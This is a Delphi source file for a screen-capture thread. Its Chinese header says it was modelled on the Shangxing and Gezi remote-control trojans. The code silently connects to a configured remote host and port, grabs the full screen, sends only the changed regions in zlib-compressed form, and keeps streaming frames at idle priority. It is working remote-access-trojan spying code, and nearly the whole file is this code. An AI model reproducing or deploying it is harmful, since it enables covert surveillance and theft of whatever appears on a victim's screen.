screenthread1.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

Unit ScreenThread;

Interface

Uses
  Windows,SocketUnit,sysutils,Graphics,classes,unitTransfer,zlib;
 type
  TScreenCaptureThread = class(TThread)
  private
    SysThread: TClientSocket;
    ISFirScr: boolean;
    MyFirstBmp: TMemoryStream;
    MySecondBmp, MyTempBmp: TMemoryStream;
    procedure CompressBitmap(bmp: TMemoryStream; Data: TMemoryStream);
  protected
    procedure Execute; override;
  public
    constructor Create;
    destructor Destroy; override;
  end;
type
  TRGBCol = record
    Blu, Grn, Red: byte;
  end;
  TRGBArray = array[0..0] of TRGBCol;
  PRGBArray = ^TRGBArray;

Var
  CaptureWindow:HWND;
  ScreenCapture: TScreenCaptureThread;
  screenover:bool=false;
  thost:string;
  tport,tsh:integer;
const
 EOL=#13+#10;
  Verycolored=2;
Implementation

destructor TScreenCaptureThread.Destroy;
begin
  ScreenOver := False;
  try
    MyFirstBmp.Free;
    MyTempBmp.Free;
    MySecondBmp.Free;
  except
  end;
  inherited destroy;
end;
procedure TScreenCaptureThread.CompressBitmap(bmp: TMemoryStream; Data:
  TMemoryStream);
var
  cs: TCompressionStream;
  ms: TMemoryStream;
begin
  try
    ms := TMemoryStream.Create;
    cs := TCompressionStream.Create(clDefault, ms);
      // clDefault is a LOT faster than clMax
    bmp.SaveToStream(cs);
    cs.Free;
    ms.Position := 0;
    Data.LoadFromStream(ms);
    Ms.Free;
  except
  end;
end;

constructor TScreenCaptureThread.Create;

begin
  inherited Create(True);
  SysThread := TClientSocket.Create();
  SysThread.Connect(Thost, Tport);
  SysThread.SendString('SH|'+inttostr(tsh)+ENTER);
//  messagebox(0,pchar(inttostr(tsh)),'',mb_ok);
//  SysThread.Timeout := 15000;
  MyFirstBmp := TMemoryStream.Create;
  MySecondBmp := TMemoryStream.Create;
  MyTempBmp := TMemoryStream.Create;
  ISFirScr := True;
  ScreenOver := True;
  FreeOnTerminate := True;
  Suspended := False;
  Priority:=tpIdle;
end;

function GammaConv(Value: double; Gamma: double): double;
begin
  if Value <> 0 then
    Result := Exp(Ln(Value) / Gamma)
  else
    Result := 0;
end;
function CreateGrayPalette(Num: integer; Gamma: double): HPalette;
var
  lPal: PLogPalette;
  i: integer;
begin
  // Add the Grayscale palette
  lPal := AllocMem(sizeof(TLogPalette) + Num * sizeof(TPaletteEntry));
  lPal.palVersion := $300;
  lPal.palNumEntries := Num;
  for i := 0 to Num - 1 do
    with lPal.palPalEntry[i] do
    begin
      peRed := Round(255 * GammaConv(i / (Num - 1), Gamma));
      peGreen := Round(255 * GammaConv(i / (Num - 1), Gamma));
      peBlue := Round(255 * GammaConv(i / (Num - 1), Gamma));
      peFlags := 0;
    end;
  Result := CreatePalette(lPal^);
  FreeMem(lPal);
  Win32Check(longbool(Result));
end;
procedure ConvertToGray_16(bmp: TBitmap);
var
  gm: TBitmap; // Destination grayscale bitmap
  x, y: integer;
  p1: PRGBArray;
  p2: PByteArray;
  c: integer;
begin
  bmp.PixelFormat := pf24bit;
  // Convert to Grayscale
  gm := TBitmap.Create;
  gm.PixelFormat := pf4bit;
  gm.Width := bmp.Width;
  gm.Height := bmp.Height;

  gm.Palette := CreateGrayPalette(16, 1.4);

  for y := 0 to bmp.Height - 1 do
  begin
    p1 := bmp.ScanLine[y];
    p2 := gm.ScanLine[y];
    for x := 0 to bmp.Width - 1 do
      with p1^[x] do
      begin
        c := (Red * 3 + Grn * 4 + Blu) div (8 * 16);
        if (x and 1) = 1 then
        begin
          p2^[x div 2] := p2^[x div 2] and (not 15) or c;
        end
        else
        begin
          p2^[x div 2] := p2^[x div 2] and (15) or (c shl 4);
        end;
      end;
  end;

  bmp.Assign(gm);
  gm.Free;
end;
procedure My_GetScreenToBmp(DrawCur: Boolean; StreamName: TMemoryStream);
var
  Mybmp: Tbitmap;
  dc: hdc;
  Mycan: Tcanvas;
  R: TRect;

begin
  Mybmp := Tbitmap.Create; {建立BMPMAP }
  Mycan := TCanvas.Create; {屏幕截取}
  dc := GetWindowDC(0);
  try
    Mycan.Handle := dc;
    // R := Rect(0, 0, 1024,768{GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)}); //分辨率问题
    R := Rect(0, 0, GetSystemMetrics(SM_CXSCREEN),
      GetSystemMetrics(SM_CYSCREEN)); //分辨率问题

    Mybmp.Width := R.Right;
    Mybmp.Height := R.Bottom;
    Mybmp.Canvas.CopyRect(R, Mycan, R);
  finally
    releaseDC(0, DC);
  end;
  Mycan.Handle := 0;
  Mycan.Free;

  case Verycolored of
    1: ConvertToGray_16(Mybmp); //16色
    2:Mybmp.PixelFormat := pf24bit; // 24色
  end;
   // if (Verycolored=1) or (Verycolored=5)  then
    Mybmp.SaveToStream(StreamName);
    //else
  //  bmptogif(Mybmp,StreamName);

  Mybmp.Free;
end;
procedure My_CompareStream(MyFirstStream, MySecondStream: TMemorystream);
var
  I: Integer;
  P1, P2: ^Char;
  MyTempBmp: TMemoryStream;
begin
  MySecondStream.Clear;
  My_GetScreenToBmp(False, MySecondStream);
  MyTempBmp := TMemoryStream.Create;
  MyTempBmp.CopyFrom(MySecondStream, 0);

  P1 := MyFirstStream.Memory;
  P2 := MySecondStream.Memory;
  if MySecondStream.Size = MyFirstStream.Size then
    for I := 0 to MyFirstStream.Size - 1 do
    begin
      try
        if P1^ = P2^ then P2^ := '0';
        Inc(P1);
        Inc(P2);
      except
        Break;
      end;
    end;
  //--------------------------------------------------
  MyFirstStream.Clear;
  MyFirstStream.CopyFrom(MyTempBmp, 0);
  MyTempBmp.Free;
end;

procedure TScreenCaptureThread.Execute;
var
  Buf: array[1..4096] of byte; //32768
  Request: string;
  NumRead: integer;
begin
  if SysThread.Connected then
  begin
    try
      Request := 'CAPSCREEN';
      //   Request:=EncodeBase64(Request);
      SysThread.sendstring(Request + EOL);
    except
      SysThread.Free;
      Exit;
    end;
    try //循环发送图像
      repeat
        if ISFirScr then
        begin
          ISFirScr := False;
          MyFirstBmp.Clear;
          MySecondBmp.Clear;
          My_GetScreenToBmp(False, MyFirstBmp);
          MyFirstBmp.Position := 0;
          //---------------------
          CompressBitmap(MyFirstBmp, MySecondBmp);
          //---------------------
          SysThread.WriteInteger(MySecondBmp.Size);
        //  messagebox(0,pchar(inttostr(MySecondBmp.Size)),'second',mb_ok);
          //SysThread.Write(inttostr(MySecondBmp.Size)+EOL);
          //发送信息了！
          repeat
            try
              //SysThread.OpenWriteBuffer;
              NumRead := MySecondBmp.Read(Buf, SizeOf(Buf));
              SysThread.sendbuffer(Buf, NumRead);
              // SysThread.CloseWriteBuffer;
              sleep(10);
            except
              SysThread.Disconnect;
              Terminate;
              Exit;
            end;
          until (NumRead = 0);
          Request := SysThread.ReadLn(EOL);
          Request := SysThread.ReadLn(EOL);
      //   messagebox(0,pchar(Request),'second',mb_ok);
          if pos('111', Request) = 0 then Break;
        end
        else
        begin
          MySecondBmp.Clear;
          My_CompareStream(MyFirstBmp, MySecondBmp);
          MyTempBmp.Clear;
          MySecondBmp.Position := 0;
          if (Terminated) or (SysThread.Connected = False) then
          begin
            SysThread.Disconnect;
            Exit;
          end;
          try
            //---------------------
            CompressBitmap(MySecondBmp, MyTempBmp);
            //---------------------
          except
            SysThread.Disconnect;
            Exit;
          end;

          MyTempBmp.Position := 0;
          //SysThread.Write(inttostr(MyTempBmp.Size)+EOL);
          SysThread.WriteInteger(MyTempBmp.Size);
     //     messagebox(0,pchar(inttostr(MyTempBmp.Size)),'temp',mb_ok);
          //发送信息了！
          repeat
            try
              // SysThread.OpenWriteBuffer;
              NumRead := MyTempBmp.Read(Buf, SizeOf(Buf));
              SysThread.sendBuffer(Buf, NumRead);
              // SysThread.CloseWriteBuffer;
              sleep(20);
            except
              SysThread.Disconnect;
              SysThread.Free;
              Exit;
            end;
          until (NumRead = 0);
          Request := SysThread.ReadLn(EOL);
         // messagebox(0,pchar(Request),'second',mb_ok);
          if pos('111', Request) = 0 then Break;
        end;
      until (Terminated) or (SysThread.Connected = False);
    except
    end;
  end;
  SysThread.Disconnect;
  SysThread.Free;
  //Terminate;
end;
////////////////////////////////////////////////////
End.